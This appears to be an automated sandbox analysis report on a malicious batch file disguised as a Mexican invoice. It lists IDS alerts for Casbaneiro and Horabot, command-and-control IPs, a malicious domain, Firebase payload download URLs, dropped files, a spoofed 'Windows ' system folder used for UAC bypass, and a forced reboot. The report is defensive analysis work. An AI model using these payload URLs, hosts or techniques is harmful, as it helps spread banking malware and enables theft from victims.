Windows Analysis Report
Factura-2410-CFDI.bat

Suricata IDS alerts for network traffic

Source: unknown

HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49752 version: TLS 1.2

Source:	Binary string: msvcr100.i386.pdb source: _kjfech8_Vi7.exe, _kjfech8_Vi7.exe, 0000000B.00000002.29808351670.000000006FD71000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.30385075264.0000014C514D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb> source: powershell.exe, 00000014.00000002.30388421204.0000014C517A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\workspace\8-2-build-windows-i586-cygwin\jdk8u92\6642\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: _kjfech8_Vi7.exe, 00000009.00000000.29777323121.0000000000D02000.00000002.00000001.01000000.00000008.sdmp, _kjfech8_Vi7.exe, 0000000B.00000000.29782413626.0000000000D02000.00000002.00000001.01000000.00000008.sdmp, _kjfech8_Vi7.exe, 0000000B.00000002.29804465764.0000000000D02000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000014.00000002.30385075264.0000014C514D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.30388421204.0000014C517A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.30388421204.0000014C51760000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000014.00000002.30390098625.0000014C517D6000.00000004.00000020.00020000.00000000.sdmp

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCEFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCEFE1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDD0F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDD0F84
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDD0B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDD0B33
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCCA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	9_2_6FDCCA9B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCC775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	9_2_6FDCC775
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDD0702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDD0702
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCDF35 _wfindfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,	9_2_6FDCDF35
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCFD86 _stat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCFD86
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD97C6D _wstat64i32,wcspbrk,_getdrive,FindFirstFileExW,wcspbrk,wcslen,_errno,__doserrno,__doserrno,_errno,_invalid_parameter_noinfo,towlower,GetDriveTypeW,free,free,_wsopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FD97C6D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCDA38 _findfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_seterrormode,SetErrorMode,	9_2_6FDCDA38
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCF8B5 _stat64i32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCF8B5
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCD4FF _findfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,	9_2_6FDCD4FF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCF40B _stat64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCF40B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCEFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCEFE1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDD0F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDD0F84
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDD0B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDD0B33
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCCA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	11_2_6FDCCA9B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCC775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	11_2_6FDCC775
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDD0702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDD0702
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCDF35 _wfindfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,	11_2_6FDCDF35
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCFD86 _stat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCFD86
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD97C6D _wstat64i32,wcspbrk,_getdrive,FindFirstFileExW,wcspbrk,wcslen,_errno,__doserrno,__doserrno,_errno,_invalid_parameter_noinfo,towlower,GetDriveTypeW,free,free,_wsopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FD97C6D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCDA38 _findfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_seterrormode,SetErrorMode,	11_2_6FDCDA38
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCF8B5 _stat64i32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCF8B5
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCD4FF _findfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,	11_2_6FDCD4FF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCF40B _stat64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCF40B

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 4x nop then add byte ptr [edi], dh	9_2_6FD88468
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 4x nop then push esi	9_2_6FD7F640
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 4x nop then add byte ptr [edi], dh	11_2_6FD88468
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 4x nop then push esi	11_2_6FD7F640

Networking

Source: Network traffic	Suricata IDS: 2841717 - Severity 1 - ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC : 192.168.11.20:49750 -> 62.72.3.210:80
Source: Network traffic	Suricata IDS: 2052642 - Severity 1 - ET MALWARE Horabot Payload Inbound : 93.127.200.211:443 -> 192.168.11.20:49752
Source: Network traffic	Suricata IDS: 2834717 - Severity 1 - ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities : 93.127.200.211:443 -> 192.168.11.20:49752

Source: global traffic	HTTP traffic detected: GET /a/08/150822/up/up HTTP/1.1Host: fsnat.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ldht/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 62.72.3.210Content-Length: 94Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	ASN Name: ASMUNDA-ASSC ASMUNDA-ASSC
Source: Joe Sandbox View	ASN Name: PRTL-DE PRTL-DE

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.3.210
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.3.210
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.3.210
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.3.210
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.3.210
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.3.210
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.3.210
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.217.167
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /a/08/150822/up/up HTTP/1.1Host: fsnat.shopConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: fsnat.shop

Source: unknown

HTTP traffic detected: POST /ldht/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 62.72.3.210Content-Length: 94Expect: 100-continueConnection: Keep-Alive

Source: powershell.exe, 00000004.00000002.30087129699.000001E792E56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.72.3.210
Source: powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.38.217.167
Source: powershell.exe, 0000000D.00000002.29797055442.000000000052B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30385728857.0000014C514FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 0000000D.00000002.29797055442.000000000052B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30385075264.0000014C514D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000004.00000002.30086145780.000001E790A45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.co:
Source: powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXzi
Source: powershell.exe, 00000004.00000002.30087129699.000001E7930C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.29798541069.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.30087129699.000001E792851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.29798541069.0000000004291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30351811914.0000014C393C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.30087129699.000001E7930C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.29798541069.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXzi
Source: powershell.exe, 0000000D.00000002.29797055442.000000000052B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30385728857.0000014C514FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000004.00000002.30087129699.000001E792851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30351811914.0000014C393C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.29798541069.0000000004291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.30087129699.000001E792FBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com
Source: curl.exe, 00000002.00000002.29379756087.000001AA88A90000.00000004.00000020.00020000.00000000.sdmp, Factura-2410-CFDI.bat	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/antonidesil.appspot.com/o/at3?alt=media&token=0c52e418-0
Source: powershell.exe, 00000004.00000002.30087129699.000001E792E56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/ggsabadon.appspot.com/o/md1910_.zip?alt=media&token=0c46
Source: powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXzi
Source: powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000D.00000002.29797055442.000000000052B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30385728857.0000014C514FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443

Source: unknown

HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49752 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_6872.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_7380.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6872, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32\fodhelper.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\exe.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\_kjfech8_V.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\i7.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\MSVCR100.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\WebView2Loader.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\jli.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\_kjfech8_Vi7.exe (copy)	Jump to dropped file

Uses shutdown.exe to shutdown or reboot the system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32\fodhelper.exe	Jump to behavior

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDE6E18	9_2_6FDE6E18
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD86E28	9_2_6FD86E28
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD86E24	9_2_6FD86E24
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDBEB1A	9_2_6FDBEB1A
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDA0919	9_2_6FDA0919
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE00915	9_2_6FE00915
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE167FF	9_2_6FE167FF
